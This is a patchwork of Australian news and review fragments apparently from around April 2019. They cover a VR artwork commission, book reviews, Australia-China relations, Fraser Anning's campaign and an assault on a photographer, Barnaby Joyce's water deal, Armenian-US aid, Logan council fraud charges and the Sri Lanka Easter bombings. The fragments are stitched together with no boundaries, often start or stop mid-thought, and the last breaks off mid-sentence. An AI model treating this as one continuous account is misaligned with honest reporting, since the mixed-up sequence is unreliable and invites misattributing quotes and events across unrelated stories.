VR. And she goes, you should work in VR, and I went, oh, I dont really work in VR. And she was like, work in VR, and I went, OK, Ill work in VR. Thompsons rendition of the exchange is so well timed that I can virtually hear Abramovics deep, deadpan voice ordering him to take up the medium. In his self-portraits Thompson seems so serious and aloof that its a relief to find him playful and droll. But then, his work has also been spiked with humour he once mimicked a self-portrait of fellow artist Tracey Moffatt posing with Nikon camera, hair held back by a chic head scarf and wearing diva-large sunglasses. He titled the work In Search of the International Look (2005). After Abramovic planted the seed about branching into VR, Thompson applied for a Mordant Family VR Commission a $240,000 benefaction from Sydney art collectors and philanthropists Catriona and Simon Mordant that has helped fund three Australian artists to make their debut in the medium. Thompson was the first to be commissioned and the result is the seven-minute work Bayi Gardiya (Singing Desert), which premieres at the Australian Centre for the Moving Image on May 1. Virtual reality can be a powerful portal into the lives of others, a means of building empathy and understanding, and Thompsons work will transport audiences to a place of great significance to him, allowing them to virtually walk around a creek called The Sixth Mile, in Barcaldine, central western Queensland, a spot he has visited since he was a baby. History Kindred: A Cradle Mountain Love Story Kate Legge The Miegunyah Press, $44.99 In August 1903 Kate Cowle presented a paper to the Field Naturalists Club of Victoria. It was a description of a visit to Mount Roland, a striking upthrust of basalt near her fathers farm in Kindred, in north-west Tasmania. In the audience was Gustav Weindorfer, a young Austrian with a passion for nature and for exploration. They were made for each other. Within three years they would be married, and living in Kindred, within sight of Cradle Mountain, dreaming and working to build a lodge for visitors, to open the area up for visitors, and to preserve it as a national park for posterity. Kindred tells the story of the couple who wanted to open Cradle Mountain up for tourists. Credit: This is a very Edwardian story, and the most striking characteristic of the era, as much in Australia as anywhere else, is that it was at the same time both incredibly modern and incredibly old-fashioned. Gustav, Kate and their peers believed fervently in knowledge and science as agents of good, while at the same time being determined to preserve the wilderness by opening it to visitors and prosecuting their cause by the use of every modern medium available to them. For instance, the thing that most preoccupied Gustav in later years was getting a road built to enable easier access for tourists. On the other hand, they were moved at all times by a kind of mystical attraction to the ineffable and divine in the landscape, seeing the hand of God everywhere, even if they watered him down into a kind of amorphous nature deity with no moral opinions. Wittingly or unwittingly, Kate Legge reproduces these tensions in her language. So the writing in Kindred is full of elevation, grand statements and assertions of nobility, often couched in bracing Baden-Powellisms that either havent had much currency since the 1950s or that she has coined afresh. People have spunk. Gustav leaves the mainland for Tasmania as peremptorily as he had farewelled Austria, for prudence and caution are the enemies of fleet-footed roamers. What she does convey is the Lawrentian delight and liberty of their honeymoon, alone and unobserved by society. Its the highlight of the book and, you feel, their lives. The enthusiasm and the romance of it all are so palpable and both evoked and felt by the text, that its almost possible to overlook the looming sadness beneath it all. At 42 her chance of falling pregnant was a low-percentage game requiring divine intervention, and Legge tells us that Kate signed up for Gustavs absences when his lips first caressed her hand. Standing in one spot was physically uncomfortable for this peripatetic wayfarer. In 2017, 280,000 visitors came to Cradle Mountain on the road that Gustav Weindorfer wanted to build. Credit:Andrew Watson / Alamy Kate endured long periods of isolation on the farm they had bought to provide an income, drudging through everyday tasks, while managing a cantankerous farmhand resentful of her authority. Meanwhile, Gustav was fully occupied with his project, building Waldheim, the chalet for future visitors, exploring, communing. Though Legge calls this the inevitable seesaw of matrimony, it feels like more than that, and during one particularly lonely stretch Kate wrote to Gustav that she had invited her nearest neighbour, for company: I stayed alone until Friday and then got tired of the silence of the house after dark so sent a note to her to come over in the evening. They've been writing since they could remember. Every raw emotion, teenage pushback and observation noted on a page, at first only for their eyes to see, and then finding an audience in the big, wide world of publishing. Yet to reach 30 years of age, these inventive and original writers show scant interest in traditional forms and style and are not squeamish about using their lived experiences to shake up perspectives around gender, culture, and power. All nine are headed to Carriageworks for the Sydney Writers' Festival, led by British writer Daisy Johnson, whose debut novel Everything Under was listed for the 2018 Man Booker Prize, making her the youngest nominee in the prize's history at the age of 25. Niviaq Korneliussens exploration of sexual identity, told in emails, messages, journals, and short stories, has been praised for single-handedly reinvigorating Greenlands small literary scene. Korneliussen wrote in Greenlandic and then translated the book into Danish. All by the age of 28. Encompassing the breadth of experiences from the African continent is a challenge, but one that has been ably taken on by Maxine Beneba Clarke (with Ahmed Yusuf and Magan Magan) using a template from other collections such as Growing up Asian in Australia. She begins by establishing a historical continuity of African-diaspora Australians as early settlers on the First Fleet. This is taken up in more detail by one of their descendants, Prue Axam, in her story The Whitest White Girl. However, more could have been done in the introduction to give readers a better understanding of the current composition of Australians of African backgrounds, their languages spoken and countries of origin. This would help to provide specificity for, as Effie Nkrumah writes in her contribution, African connotes homogeneity. Growing up African in Australia offers a counterpoint to the headline-grabbing politicians who would have us believe that Africans in Australia are merely members of gangs. It is also a rebuttal for sections of the media that look on Africans in Australia as people who are somehow inherently unable to settle here. There can be no accusation of homogeneity in this anthology, both in terms of the lived experiences of authors, their reasons for coming to Australia including as refugees and migrants, their identities and even the format of contributions that include stories and poems. Some may leave you frustrated and wanting more details while others give insights into well-known figures such as community activist Nyadol Nyuon's Her Mother's Daughter. There is also a section on "Changemakers" who represent high-profile individuals making an impact in various parts of society. This anthology includes poems and stories. Credit: Vulindlela Mkwananzi's story of growing up Australian and Zimbabwean, Both, highlights the uniqueness of individual stories, explaining there can be no universal experience of being African-Australian. Indeed some authors find themselves positioned not only by the wider society, but also by their own family members and loved ones. Take, for instance, Imam Nur Warsame, an LGBTQIA Muslim and an imam, who has started an online community for Muslims called "Marhaba" (also the title of his contribution) in the face of personal threats and exclusion from his community. The thematic organisation in this collection is a useful guide for the reader, with the strong "Welcome to Australia" section including many poignant tales. Struggles with loss and mental health are drawn in Tinashe Pwiti's Di Apprentice and family separation is a big issue in Adut Wol Akec's My Family Abroad. The latter's poem tells of families working to support relatives left overseas, using "telephone privileges supplied by Centrelink of 10 dollars a day to hear the cackling and static of our family at home". Racism and exclusion loom large in many stories. The section on "The Body" is especially compelling, highlighting the visceral way in which experiences of racism and identity formation are felt through the body. Ahmed Yusuf describes his body as a prison, telling of a complex and complicated relationship with it, his blackness and ill health in Trauma is a Time Traveller. The implications of the intersection of the body and gender are riffed in Candy Bowers' poem, Dear Australia, I Love You But , as a "sister with her fat booty [who] found it difficult to grow up in a country where beauty was exclusively based on blonde hair and white skin". On the remote cattle station where Mark Coles Smith spent his early teens you can hear a car approaching from 20 kilometres away, a good half an hour before it rolls up in a cloud of dust. "I'm not sure what that perspective does to you, being in a place where you can hear so far." Smith was only 14 when he entered the public arena with a leading role in the children's TV series Ocean Star, and in the decade-and-a-half since has drawn critical acclaim in such films as Last Cab to Darwin and Pawno. Few know that his first love was sound, however, and next month's YIRRAMBOI Festival sees the premiere of his musical alter ego Kalaji with the immersive sound and video work Night River. Actor Mark Coles Smith unleashes his musical alter-ego Kalaji at the YIRRAMBOI Festival. Credit:Simon Schluter Smith's acting CV is impressive, his credits ranging from Picnic at Hanging Rock to Miss Fisher's Murder Mysteries to US comedy Modern Family. It's a surprise that his real passion is in sound design, but that's been the one constant that has led to Kalaji ("whirlwind" in the language of his Nyikina mob). It has been three years since an Australian prime minister strode the red carpet at the Great Hall of the People. Neither Malcolm Turnbull nor Morrison were able to secure an invitation to visit Australia's largest trading partner last year, in the wake of a diplomatic rift blamed on the Turnbull government's sharp rhetoric. Chinese President Xi Jinping. Credit:Bloomberg Former ambassador to China and coal company director, Geoff Raby, says he would be "most surprised" if a swift invitation was issued to the next prime minister. "The Chinese have a pattern when a new government is elected, to wait and see how it settles in," he says. "They know Labor governments are more sensitive to human rights issues, Tibet and Xinjiang." Chinese coal traders, for their part, have speculated the slowdown in unloading Australian coal at Chinese ports which they believed is linked to Australia banning Huawei from 5G - will end after the election. "Beijing would like to reset relations with Australia by revisiting the Huawei decision and the South China Sea issue. But Labor has made it clear that there's no going back on those policies," says the Lowy Institute's Richard McGregor. "So in that respect, I don't expect a Labor victory, if that's what happens, will offer a clean slate on relations with China. There will be lots of inbuilt tensions straight off the bat." Labor's foreign affairs spokeswoman Penny Wong will give her first foreign policy speech of the election campaign next week at the Lowy Institute. Raby says: "My concern is Penny Wong and Labor see the problem as more about messaging and underestimate the substantive challenges facing the China relationship." He says it is a "much more challenging world" than any an incoming Labor government has faced. "China is stronger and less susceptible to international pressure" around issues such as the Uighurs, the Muslim ethnic minority in China's western Xinjiang province who are being detained en-masse. Loading Peter Drysdale, from ANU's Crawford School of Public Policy, puts it this way: "More of even the same good stuff will no longer suffice." He says the bilateral relationship needs reframing and he is concerned that Australia is not prepared to do this. "The real test is, are we a hare in the spotlight? Immobilised and incapable of reacting to the circumstances we find ourselves in." Most analysts who spoke to The Sydney Morning Herald and The Age for this story expressed their belief that it won't be enough for a new government to simply revert to the old formula of dealing with China, that is, avoid megaphone diplomacy, and silo Australia's economic engagement with China from its military alliance with the United States. The world has changed. The geopolitical rift between Washington and Beijing is sharpening. Diplomats say their Chinese counterparts have become more vocal in pressing Beijing's world view. China's aggressive move to "hostage diplomacy", detaining two Canadians in retaliation for the arrest of Huawei executive Meng Wanzhou, shocked middle powers. Not only has Washington labelled China's rise a national security threat, but the strategic rivalry has spilt beyond naval close encounters in the South China Sea and into the trade and technology spheres. Universities geopolitically uncontentious in the past - have been swept up Washington's national security blitz. US visas for Chinese PhD students are being blocked and visiting academics told by the FBI to "Go back to China", The New York Times has reported. Educating Chinese students has been one of Australia's largest export earners, after selling coal and iron ore to China. A push for greater Defence Department control over universities collaborating with international researchers was rejected in Australia. One of the most commonly sold mobile phones in Australia, the Telstra-badged but Chinese made ZTE smartphone, was pulled off shelves after ZTE was hit with a sudden US export ban - which was just as abruptly lifted. Even the world's largest gay dating app has been caught in the crossfire. The Los Angeles-based Grindr was put up for sale in March after the US government declared its Beijing owners a national security risk. China's President XI Jinping with his US counterpart Donald Trump in 2017. Credit:AP There is high anticipation that Trump and Chinese President Xi Jinping will reach a trade deal next month to end the crippling tariff war between the world's top two economies. But such a deal is likely to include multibillion-dollar pledges for China to buy US energy and agricultural products. The IMF is among the onlookers expressing alarm at the return of "managed trade" and the potential impact of such government-mandated supply deals on free trading countries like Australia. Australian gas, coal and agriculture sales to China could be reduced. Director of the East Asian Bureau of Economic Research at the Australian National University, Shiro Armstrong, says: "How to prosecute Australia's interest in a world of managed trade between China and the US is complex." Even if a trade deal is struck between China and the US, many analysts believe it is unlikely the Trump administration will stop actively trying to decouple the US technology industry from China. Australia's ban on Huawei participating in the 5G network, a decision strongly supported by the US, has set a precedent for other western nations considering a ban. The new Australian government may face a formal challenge by Beijing at the World Trade Organisation. Cui Fan, director of research for the China Society for WTO Studies in Beijing, says China has complained about the Australian Huawei ban multiple times in WTO meetings. First in October, then November, and last month when the third complaint was reported by Reuters. "China believes that such a ban is discriminatory and inconsistent with WTO rules and it has brought a significant loss of commercial interest of China," he says, expressing personal views. "The possibility of further action, such as a request for consultation, which is a more formal complaint under the dispute settlement mechanism of the WTO, cannot be excluded." The Morrison government has argued the Huawei ban is justified on national security grounds. Loading Drysdale says the China's complaint at the WTO "is serious" and the result could go either way. James Laurenceson, acting director of the Australia-China Relations Institute at the University of Technology in Sydney, says China could become less irritated about Australia's Huawei ban if Britain and Germany allow the Chinese company to participate in their more lucrative 5G markets. British Prime Minister Theresa May this week was reported to have overruled her security agencies and decided Huawei would not be banned from 5G and could bid for "non core" roles. As tension in the South China Sea between the US and Chinese navies rachets up, Professor of Asia-Pacific security studies at Macquarie University, Bates Gill, can see "little detectable difference" in Coalition and Labor policy. "The US has increased the tempo of freedom of navigation operations (FONOPs) and the Chinese side has stepped up its response, both verbally and militarily," he says. "The two sides are heading into a far more intense period, though it is unclear whether President Trump himself wants to escalate tensions with China in this particular area." But Dr Gill says it seems unlikely the next Australian government would change its policy and jointly conduct FONOPs with the US "let alone conduct them within 12 nautical miles of Chinese-claimed islands". More broadly, areas for cooperation with China will narrow, he predicts. "That said, Labor, like the Coalition, will avoid most activities and especially those undertaken with other governments which China would find troubling. While the room for engagement is narrowing, Australia will still need to pursue a constructive relationship with China." Former One Nation senator Brian Burston has defended his new party leader Clive Palmer as having "a kind heart", while talking up the United Australia Party's electoral chances and defending the mining magnate's failure to pay workers $7 million in entitlements. Senator Burston, who defected to the Palmer United Party last year after initially saying he would sit as an independent, told ABC radio he believed the party could win up to six Senate spots and lower house seats in Queensland and NSW on May 18. Brian Burston says Clive Palmer has "a kind heart" and wants what's best for Australia. Credit:Alex Ellinghausen It comes after Mr Palmer agreed to swap preferences with the Coalition government and Michelle Landry, the Liberal National MP for Capricornia, backtracked on comments that she would preference Senator Fraser Anning's Conservative National Party candidate ahead of Labor and the Greens. Prime Minister Scott Morrison confirmed the preference deal on Friday morning, but said there had been "no discussion with the minor parties on policy". Fraser Anning's lead senate candidate in WA is a recycled One Nation hopeful who once said single mothers were "too lazy to attract and hold a mate" and should lose government funding. David Archibald, who stood against former foreign minister Julie Bishop in 2016 for the Australian Liberty Alliance before trying his luck for One Nation in the Pilbara at the last state election, emerged on Senator Anning's upper house ticket in WA when nominations were declared on Wednesday. Senator Fraser Anning is fielding candidates for the Senate in WA, along with three lower house seats. Credit:AAP Image/Kelly Barnes In a 2015 essay the geologist and climate change sceptic urged the government to stop funding "lifestyles" such as single motherhood and disability pensioners. "The first that springs to mind is single motherhood," Mr Archibald wrote in Quadrant. Senior fellow in the Russia and Eurasia Program at the Carnegie Endowment for International Peace, professor at Georgetown University Paul Stronski addressed Prime Minister Nikol Pashinyan via Twitter with the requirement of strengthening Armenia's pro-American vector in foreign policy. He recalled that Washington has paid Yerevan already $25 million with thus purpose. "Pashinyan should get down to work and stop playing politics with U.S. U.S. was highly critical of Kocharian and Sargsian in 2008; it pulled MCC funding for key road project because Armenia failed key democratic indicator (March 2008). That was big deal," Stronski recalled in the first place. "Pashiniyan's recent criticism that U.S. has done nothing to support Armenia since 2018 Velvet revolution is simply not true. U.S. increased its assistance significantly to the country after the transfer of power. Unlike the EU, which pledges money, but delivers slowly, $14 million in additional assistance flowed into Armenia from U.S. within 6 months. In fact, U.S. provided over $25 million to Armenia last year. That is on top of over $1 billion in U.S. assistance to Armenia since 1992," the professor at Georgetown University revealed. He stressed that that is a lot of money, but US is readying to provide more, especially once Pashiniyan's government "makes its policy priorities and action plans clear." "U.S. understands Armenian interests in Syria because of diaspora. But Armenian deployment of deminers to Syria along side Russia is a big deal to the U.S.," he wrote, adding that U.S. trained those deminers, as part of long-standing US support to demining in Armenia. "There seemed to be no messaging strategy to West, nor did there appear to be an understanding of how this would appear to Armenia's European and North American partners. The U.S.-Armenia relationship is strong, and this is an unforced error. But, Pashiniyan has work to do and he should do it, instead of blaming the U.S.," Paul Stronski concluded. The Pashinyan administration has not yet responded to this criticism and disclosure on Washingtons financial investments in new Yerevan. Robinson does not punch back, but takes photos of the man as he walks away. When police arrived at the scene they searched the man before arresting him. NSW Police detain a man after a confrontation with a photographer following a press conference. Credit:AAP He was taken to Sutherland police station and charged with common assault, intimidation and behaving in an offensive manner. He was granted strict conditional bail and is due to appear at Sutherland Local Court on May 16. In the press conference, Senator Anning was introducing his candidate for the seat of Cook, Peter Kelly. Cook is the electorate of Prime Minister Scott Morrison. Senator Fraser Anning, centre, is joined by candidate for the seat of Cook Peter Kelly, left, as he speaks to the media at Dunningham Park at Cronulla in Sydney on Friday. Credit:AAP Mr Morrison said there was "no place in Australian politics" for the violence seen in Cronulla on Friday. "I find it absolutely appalling .... [Senator Anning] is placed last on my ticket and our party's ticket," the Liberal leader said. Senator Anning, 69, called for a ban on "bringing any more Muslims or Sudanese into the country" during his media conference. He was pressed by journalists over his claims that locals were being "bashed and attacked". "You live in a make-believe world," one of the senator's supporters yelled at Ms Barr as she asked whether locals would back CNP candidate Peter Kelly given they'd lived through the 2005 Cronulla race riots. After the press conference, the 19-year-old Randwick man allegedly levelled sexist and abusive comments at Barr including the phrase "nice tits". The photographer, Robinson, followed him and attempted to take his photo before the young man allegedly lashed out. Detained: Police have taken the 19-year-old into custody. Credit:AAP The media union later stated: "It is unacceptable in a democracy for journalists to be physically threatened or assaulted in the course of doing their job." At a press conference later on Friday afternoon, Senator Anning said he did not see the altercation and did not know "what the lead-up to it was", so he would not comment. He said "I've never advocated any violence at all." Senator Anning's candidate for Cook, Cr Kelly, is an army veteran who worked as an adviser to former NSW One Nation senator Brian Burston, and won a seat on Ku-Ring-Gai council in the 2017 elections. His campaign at the time included an endorsement from Prince Omar Kiram, cousin of the Sultan of the self-styled Sultanate of Sulu and Sabah. Cr Kelly was called on to explain his qualifications during a public council meeting, after it was revealed his PhD was obtained from a little-known Italian university, incorporated in Florida, US, and The Gambia, Africa. Cr Kelly has also claimed the title of "professor" after a brief period of employment at the online, and now-defunct, Poseidon International University, licensed by the government of Panama. Anning's controversies Senator Anning, from Queensland, rose to prominence in August last year after his maiden speech praised the White Australia Policy and said a national vote would provide "the final solution to the immigration problem". "The final solution" is a phrase associated with Nazi Germany's extermination of Jewish people in Europe and beyond. It's not the first time this year that an Anning press conference has turned violent. In March, teenager Will Connolly cracked an egg over the back of the senator's head in Melbourne, before being wrestled to the ground by a group of adult men. The moment Will Connolly, 17, unloaded the egg on Senator Anning in March. Video footage of the incident shows Senator Anning lashed out twice at the teen, who was tackled to the ground by a group of the senator's supporters, including convicted criminal Neil Erickson. The act led to Connolly being colloquially known as "Egg Boy", and footage of the egging being replayed around the world. The incident followed comments by Senator Anning blaming the Christchurch terrorist attack, in which 50 people were killed, on Muslim immigration. The stranglehold has frustrated some, including former Nationals voter and farmer Norm Deaches. "We need some independent policemen there," he says. Inverell farmer Glenn Morris is on a five day horse trek to raise awareness about climate change. Credit:Eryk Bagshaw Inverell cattle farmer Glenn Morris has taken to his horse to try and draw attention to climate change. He is spending five days riding around the electorate wearing a Driza-Bone coat emblazoned with the words "Climate Action Now". "Plants are at tipping point for survival, we are at real risk of losing our vegetation," he says. Business is hurting too. Two years ago Teamo coffee shop had six staff members. Now it has two and a part-timer. Across the road Ashley Hawken runs Capitol Music Tamworth: "There are a lot of ukulele clubs around here. Almost every town has one. A lot of ladies in particular who are into the ukulele thing might have come and bought a new $300 or $400 uke," he says. "Now they come and buy a packet of strings." Ashley Hawken says sales have slowed at his music store. Credit:Eryk Bagshaw But if locals are frustrated with their MP, it's not showing up in the polling or at the bookie's office. Joyce is an almost unbeatable favourite to retain the seat - which he holds by a margin of 16.4 per cent - on May 18. Hes not taking anything for granted. "I'm campaigning like I'm on 1 per cent," Joyce said when The Sydney Morning Herald and The Age caught up with him in Tamworth on Friday. In the second week of the campaign Joyce should have been spruiking the Nationals message of putting rural communities first and talking up the benefits of being a partner in a Coalition government. Instead he faced questions about his role in an $80 million water purchase made when he was agriculture and water minister in 2017. The water was bought under the Murray Darling Basin Plan from two Queensland properties owned by Eastern Australia Agriculture. A parent company, Eastern Australia Irrigation, was domiciled in a known tax haven, the Cayman Islands. Energy Minister Angus Taylor co-founded the parent company and directed it until he was elected to Parliament in 2013, but denies benefiting from the transaction. Loading Eastern Australia Agriculture made a $52 million profit on the water purchase, and transferred much of it to the Caymans. Critics say the water was bought for as much as double the market price and has little environmental value. The complexities of the water market are such that the news - in a week of public and school holidays - might have dropped off the agenda. But Joyce agreed to an interview on Monday night with ABC Radio National host Patricia Karvelas. The interview lasted nearly half an hour as Joyce admitted he signed off on the deal without questioning key details because, he said, it was "not my job". Loading Joyce grew angrier throughout the interview and said criticism of the deal was "horse crap". Speaking to the Herald and the Age, Joyce acknowledged his performance in the interview possibly poured oil on the fire. "I was incredibly angry at the assertion that was made that I used my piggy bank to pay money to my mates," he said. "That is a statement of corruption and it is absolutely utterly bull." He concedes his manner in the interview was "over the top" but maintains his motivation was correct. "I had to knock it on the head straight away," he said. Joyce has come through worse before - he had to fight a byelection in late 2017 when the High Court held he was a dual New Zealand citizen. Joyce was returned with an increased margin. New England doesn't seem to be for turning. And it would be a huge change if it did. Joyce holds the seat with a more than comfortable margin of 16.4 per cent. Only 10 Coalition-held seats have larger margins. In neighbouring Cowper the story is similar but its cast is very different. There, high-profile former independent MP Rob Oakeshott seeking to make a comeback. The seat is held by the Nationals by a margin of 12.6 per cent but the long-serving member Luke Hartsuyker is retiring and Oakeshott sees his moment. "The government is cooked," he says. "People forget the fact that in a dry continent, water matters, and it is essential to everything we do. There is a clear sense that it hasn't been treated with the respect it deserves by policymakers and they will be punished at the ballot box," he says. "It's not a conservative area but it has been owned by the conservative party." Cowper is one of the seats people will be watching on election night. It's unlikely the same attention will be paid to New England which lacks a strong contender to take on Joyce. Still, those running against him are not shy about playing the man rather than the issues facing the electorate. "Scandal is his shadow," says Clive Palmer's United Australia Party candidate Cindy Duncan of Joyce. Loading Adam Blakester is crowdfunding his campaign and positioning himself as economically centrist but environmentally focused. It's a play voters in city electorates such as Warringah and Wentworth are by now familiar with. "[Joyce] has to have honestly one of the worst rap sheets of any parliamentarian since federation," Blakester says. Both candidates are speaking at the Tenterfield School of the Arts, the same hall in which Henry Parkes gave his address calling for an Australian federation. Pity Pope Francis. When video footage emerged last month of him repeatedly pulling his right hand away as worshipper after worshipper moved forward from a long queue to kiss his ring, conservatives blasted him for disrespecting church tradition. The Pope later explained he was simply trying to reduce the risk of his flock picking up germs on the ring. We've been going nuts over germs in recent months. There was the UK study revealing that McDonald's touch screen kiosks contain erky perky gut and faecal bacteria, which followed another study of 1000 Brits that found smartphones harbour more bacteria than toilet seats. Earlier studies have shown that treadmills and free weights in gyms, and tray tables, head-rests and toilet door handles on airplanes, are home to vast colonies of bacteria and viruses. Getting children to muck around in mud can have lifelong benefits for their immune system. Credit:Stocksy Meanwhile, we've been told that we live in an over-sanitised world, that we're not giving our kids enough dirty outdoor play, which exposes them to a diverse range of "friendly" microbes that help train their immune system to resist nasty pathogens in later life. So which is right? Both, say microbiologists. We now know that asthma, allergies and auto-immune diseases are much more common in children in cities than country areas, where they're more exposed to the outdoors and animals. US studies have shown that pets carry microbes into the home that help prime the immune system to better resist assaults from harmful bacteria and viruses. I thanked her for her company, and excused myself. When I returned to the bench she'd gone, but walking across the grass towards me was a tall, red-haired, red-bearded man wearing a green velvet cloak embroidered in gold, and a small gold crown. He paused. At his feet I saw a woman seated on sumptuous fabric spread across the grass and two small children, both red-haired. The vision lasted less than a minute. I returned to my busy life but, two years later, while having an ordinary massage, the idea popped into my head that I would like to write about the grief I'd felt over the death of my mother. On returning home, I found an email from a publisher asking if I'd write a 10,000-word essay: I could choose the topic. The business was well-established and I had stopped my exhaustive work travel, so I accepted the publisher's challenge and suddenly found myself mad with excitement from the pleasure of writing again. Grief can be a great medicine and is the inspiration for much writing. Then another strange thing happened: on the recommendation of a Melbourne friend, I joined a meditation group that was struggling to establish itself in Sydney. It was led by a kindly gentle giant, a former policeman, who was now a "trance medium". I've always enjoyed acquaintance with those who stand apart from the herd; I've known European clairvoyants, Chinese qigong masters, mystics, Javanese pawangs (who would associate with wild animals such as tigers or crocodiles), Malay dukuns, energy workers, and many others who dance to a different drum. The meditation leader, Ian Rogers, told me I would write about Henry II. (He did not mention Henry's spouse, Eleanor of Aquitaine.) I began to research and became hooked. I read an immense number of books and made two trips with historians to both England and France for research, but there were frustrating gaps in the record. Ian, whose trance medium sessions in Sydney I found not to my liking, offered to help. I would prepare a list of questions; he would grow silent and, after a while, give answers I tape recorded. Some information I accepted, much I did not, but always the sessions were engaging. British man Sam Oliver has won his defamation case against Nine News and been awarded $100,000 after a judge found a news broadcast that included the phrase "coward punch" portrayed him as "someone who is a coward". Mr Oliver, 23, was last year found not guilty of recklessly causing grievous bodily harm after he argued he acted in self-defence during an altercation with former Rugby Sevens captain James Stannard outside a kebab shop in Coogee in March 2018. Sam Oliver outside court last September Credit:AAP A Nine News broadcast on the night of his acquittal used the phrase: "It was a coward punch that ended the career of Rugby Sevens captain James Stannard and today he suffered another blow as the man who threw it was cleared of all charges." The broadcast later added that Stannard "just watched the man accused of coward punching him ... walk free" and included a grab from Stannard, who said, "I feel like the truth didn't come out in the hearing." Clive Palmer's allegations senior Liberal National Party figures were out to damage him politically would be more befitting of the "Mad Hatter's tea party", a Queensland Supreme Court judge has said. The criticism was made in a hearing related to liquidators trying to claw back $70 million in taxpayer funds paid to sacked Townsville Queensland Nickel workers. Clive Palmer leaves the Brisbane Supreme Court. Credit:AAP On Friday, the court heard Mr Palmer made an application to seek leave to file a proposed defence and counterclaim in relation to the upcoming trial. It was the latest salvo in the lengthy legal battle following the Townsville refinery's closure in 2016 which left about 800 workers without jobs. Council hopes for swift resolution Logan City Council issued a statement on Friday afternoon acknowledging the charges and confirming the councillors were automatically suspended, effective immediately. "Councils duty of care remains with the community and its staff," the statement said. "Council respects the ongoing legal process and will continue to co-operate with all CCC-related matters. "On behalf of the Logan community, we hope for a swift resolution of the matter." A lawyer for Cr Schwarz said the councillor "maintains ... she has not broken the law" and the fraud charge was not one that implied theft of money or other items. Loading Mr MacSporran said the Logan City Council investigation was one of the largest investigations the independent watchdog had managed. This is the first time, to our knowledge, in the 30-year history of the agency, that eight elected officials from the same unit of public administration have been subject of such charges, he said. It is one of the most significant investigations this agency has ever carried out. The suspensions, under laws passed in 2018, leaves the council with just four councillors - Darren Power, Lisa Bradley, Laurie Koransi and Jon Raven - unable to reach a quorum. Local Government Minister Stirling Hinchliffe will now need to consider his next actions, with options including sacking the entire council and appointing an administrator or bringing forward the date of Queenslands next local government elections, due in March 2020. Mr MacSporran said he would brief the minister on the charges. To Logan ratepayers and the many good staff members at Logan City Council, Mr MacSporran said the allegations were not against the council itself but against individual councillors. Todays news may come as a shock to many in the community. It will undoubtedly cause some turbulence for the council and the community of Logan more generally, he said. Whilst these allegations and the merit of the evidence will be tested in court in the coming months you deserve elected officials who put the needs of your community first. CCC chairman Alan MacSporran. Credit:Darren England/AAP 'We've gone through hell' Mr MacSporran said the actions of four councillors who had called out allegedly improper behaviour were noted. They stood up and made public statements about what they perceived to be misconduct by others, he said. They were themselves the subject of complaints, they were routinely criticised, publicly and privately, and its a fact that people in those positions have a public duty to stand up and report misconduct. In that light, those facts speak for themselves about the role played by those other councillors. Darren Power (Division 10) told Brisbane Times the news of the charges was "vindication" for himself and the three other remaining councillors after a turbulent time. Weve gone through hell, he said. Weve had reprisals after reprisals. Cr Power said the councillors were sad the situation in the city had reached such a conclusion and he was particularly concerned about the future of the citys council. He said he hoped he and his three colleagues would not be sacked unfairly should Mr Hinchliffe decide to take further action. The Local Government Association of Queensland had no comment on the charges. Perception that 'sector is on the nose' Mr Hinchliffe said the charges didnt show a need for a wider investigation into Queensland council corruption. These are obviously gravely important things ... but my priority is on the residents of the city of Logan to make sure that services that they rely upon are being delivered and Ive got absolute confidence that theres going to be no disruption to those services, he said. I want to make it clear, that this isnt an instance that involves the sort of deep-seated issues and concerns around culture that was the problem in Ipswich. Mr MacSporran said that given the investigations into multiple south-east Queensland councils, including Ipswich, Gold Coast, Moreton Bay and Logan, there would at least be a perception that the sector is on the nose. He said while he didnt believe the sector overall was corrupt, there were corrupt individuals within it. There is a disturbing lack of capability and understanding of their obligations as elected [councillors], he said. A man, aged in his 40s, is in custody after the suspicious death of a man attacked in Logan on Friday. Police cordoned off the intersection of Defiance and North roads in Woodridge, south of Brisbane, as a crime scene. Paramedics were called just after 5am and found a man lying in the street with serious head, neck and chest injuries. He was taken to the Princess Alexandra Hospital in a critical condition and police confirmed he had since died. Two women were attacked and had a "substance" thrown on them inside a property believed to be a crisis accommodation centre in Melbourne's south-east. Police were told the two women, aged 44 and 29, were set upon by two other women just before midnight on Thursday inside an Endeavour Hills property. The four women are believed to be known to each other. An Ambulance Victoria spokeswoman said both women suffered injuries to their upper and lower body. The pair were taken to Dandenong Hospital with non-life threatening injuries. Tensions have remained high in Colombo. As well as controlled detonations and nation-wide curfews imposed during the week, on Thursday there were warnings that at least two potential suicide bombers were at large and further attacks were possible. The names and photographs of six people wanted over Sunday's bombings were released and security was tightened across the city as police searched for suspects. The shocking scale of the Easter Sunday atrocity exposes potential security threats across the whole region. There are warnings these attacks herald a new brand of terrorism. A new type of terror Sri Lanka is all too familiar with political violence. Conflict between the Sinhalese-speaking majority, which is mostly Buddhist, and the minority Tamil community fuelled a decades-long civil war which came to a bloody end in 2009. During the war the separatist Tamil Tigers staged more than 100 suicide attacks across the country. But the Easter assault - which targeted Sri Lanka's minority Christian community and Western tourists - did not fit that frame. On Monday Sri Lankan officials said a little-known radical Islamist group, National Thowheeth Jamaath, had carried out the attacks, with help from international militants. The small outfit, which originated about a decade ago on Sri Lanka's east coast, was last year blamed for defacing Buddhist statues but has no previous history of staging large-scale terrorist attacks. A day later, the Islamic State group issued a statement claiming responsibility, although Sri Lankan authorities said its exact role remains unclear. The group's propaganda arm described the bombers as "Islamic State fighters" and posted a video of eight people apparently the Sri Lanka attackers pledging allegiance to IS. Brahma Chellaney, professor of strategic studies at New Delhi's Centre for Policy Research, says the country now faces a major new terrorism problem. "Sri Lanka has dealt with Tamil separatist violence but has had no experience handling Islamist terrorism," he said. Loading On Wednesday another disturbing link to Australia emerged one of the suicide bombers had been a postgraduate student at Melbourne's Swinburne University. Abdul Lathief Jameel Mohamed, 36, died when he detonated his suicide bomb on Sunday at the New Tropical Inn guesthouse in Colombo, killing himself and two others. It appears he intended to bomb the luxury Taj Samudra hotel but the explosive device failed. Samsul Hidaya, one of Mohamed's sisters, told the UK's Daily Mail her brother became "a different man" in Australia and returned more religious, withdrawn and intense. Prime Minister Scott Morrison confirmed the man had lived in Australia with his wife and child on a student visa but left the country in 2013. Authorities say many of the suicide bombers were highly educated and came from well-to-do families. Among them were two sons of wealthy Colombo spice trader, Mohammed Yusuf Ibrahim, who is now in custody. The brothers, Inshaf and Ilham Ibrahim, blew themselves up in the restaurants of separate hotels around 9am on Sunday. A Sri Lankan police officer announces security warnings outside Colombo's Red Mosque this week. Credit:AP When police raided a mansion owned by the Ibrahim family in an exclusive part of Colombo on Sunday, a woman believed to be Ilham Ibrahim's pregnant wife also detonated a 